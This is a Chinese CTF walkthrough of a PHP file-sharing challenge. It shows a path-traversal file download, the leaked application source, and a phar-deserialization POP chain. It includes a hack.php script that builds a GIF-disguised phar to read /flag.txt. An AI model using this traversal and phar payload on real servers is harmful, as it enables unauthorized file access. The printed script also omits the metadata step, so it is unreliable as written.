任意文件下载,phar反序列化
刚进去,发现有文件上传,测试了一下,发现基本给过滤了,应该是白名单机制,在download.php 抓包发现,存在filename参数

这里猜测可能存在任意文件读取,尝试着改成 ../../index.php 发现可以成功下载(这里因为文件上传的文件一般会在 /upload/sandbox ,于是用了 ../../ 来读 index.php 的内容。
然后依次顺腾摸瓜,读取 class.php delete.php upload.php download.php login.php register.php 的源代码
这里主要分析一下class.php delete.php upload.php download.php的代码 。
upload.php的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
include "class.php";
if (isset($_FILES["file"])) { $filename = $_FILES["file"]["name"]; $pos = strrpos($filename, "."); if ($pos !== false) { $filename = substr($filename, 0, $pos); } $fileext = ".gif"; switch ($_FILES["file"]["type"]) { case 'image/gif': $fileext = ".gif"; break; case 'image/jpeg': $fileext = ".jpg"; break; case 'image/png': $fileext = ".png"; break; default: $response = array("success" => false, "error" => "Only gif/jpg/png allowed"); Header("Content-type: application/json"); echo json_encode($response); die(); }
if (strlen($filename) < 40 && strlen($filename) !== 0) { $dst = $_SESSION['sandbox'] . $filename . $fileext; move_uploaded_file($_FILES["file"]["tmp_name"], $dst); $response = array("success" => true, "error" => ""); Header("Content-type: application/json"); echo json_encode($response); } else { $response = array("success" => false, "error" => "Invaild filename"); Header("Content-type: application/json"); echo json_encode($response); } } ?>
|
只让上传jpg gif png 图片
download.php的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
|
对下载的文件名进行了限制,但是可以造成任意文件下载(这个前面已经验证过了)不允许下载带有flag的文件,基本上可以猜一下 flag文件在 ./flag 或者 ./flag.txt 中 。想办法读到这个就行了,但是又不能直接通过download.php来读。
delete.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php";
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
|
代码逻辑也比较简单,对文件名进行了简单的限制,然后执行delete()函数,基本和download差不多,也还是没找到利用的地方。
最后再来看看 class.php 文件的代码(代码很长,看重要的部分)
一个是User类:
1 2 3 4 5 6 7 8 9 10 11 12 13
| class User { public $db;
public function __construct() { global $db; $this->db = $db; }
public function __destruct() { $this->db->close(); } }
|
Filelist类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| class FileList { private $files; private $results; private $funcs;
public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path);
$key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]);
foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } }
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
}
|
最后看到file类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| class File { public $filename;
public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
public function name() { return basename($this->filename); }
public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; }
public function detele() { unlink($this->filename); }
public function close() { return file_get_contents($this->filename); } }
|
先从File类开始看起,我们知道 delete.php 和 upload.php 是利用了File类中的 close() delete() 函数来读取文件和删除文件的。我们要想读 ./flag.txt文件,最终的落脚点肯定是在这个函数上面,看到FileList类里面有 call 函数, 很自然的联系到能不能使用 反序列化, 可是 unseralize( ) 函数的影子都没看到,怎么利用?
这个时候就需要用到一个新的东西,phar协议和.phar文件,利用这个在没有unseralize()的情况下也可以进行反序列化
详细介绍可以参考:https://xz.aliyun.com/t/2715
上面那篇文章已经描述的挺清楚了。
现在想办法构造pop链
call 函数 是在一个类调用一个不存在的函数而触发的,我们如果让User类的$db 变量 等于FileList类,那么User类在析构的时候,$this->db->close() 就会变成 FileList -> close()从而触发call 函数
1 2 3 4 5 6
| public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
|
这里把Filelist的 files数组 进行遍历,每个变量都调用一下 func,如果我们这里让 FileList类的 files 数组 等于 File类数组,不就可以调用 close()函数了吗? 然后让File类的filename变量的值为 ./flag.txt 就可以读到flag了。
pop链就很清晰了:
User类的destruct -> FileList类 -> close() 触发 call 函数 ,然后 File类 调用close()函数 从而读到flag
我们构造的 hack.php文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php
class User{ public $db; public function __construct() { $this->db=new FileList(); } }
class FileList { private $files; private $results; private $funcs; public function __construct() { $this->files=array(new File()); $this->results=array(); $this->funcs=array(); } }
class File { public $filename='/flag.txt'; } $user=new User(); $phar=new Phar("hack.phar"); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->addFromString("hack.txt","test"); $phar->stopBuffering(); ?>
|
访问之后,本地生成 hack.phar文件,然后改成 hack.gif 上传
然后在用phar协议来读取,触发反序列化:

这里有个细节,我用的是delete.php执行的payload
download.php中有一行代码:
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
可以看出来 download.php对访问权限进行了限制,只能访问当前目录 以及 /etc 和 /tmp ,download.php在 /var/www/html下,所以当前目录是网站的根目录,即/var/www/html/,所以是只能访/var/www/html下的所有内容(包括子目录)。而我们要读取的/flag.txt 在系统的根目录,所以不能在download.php下读。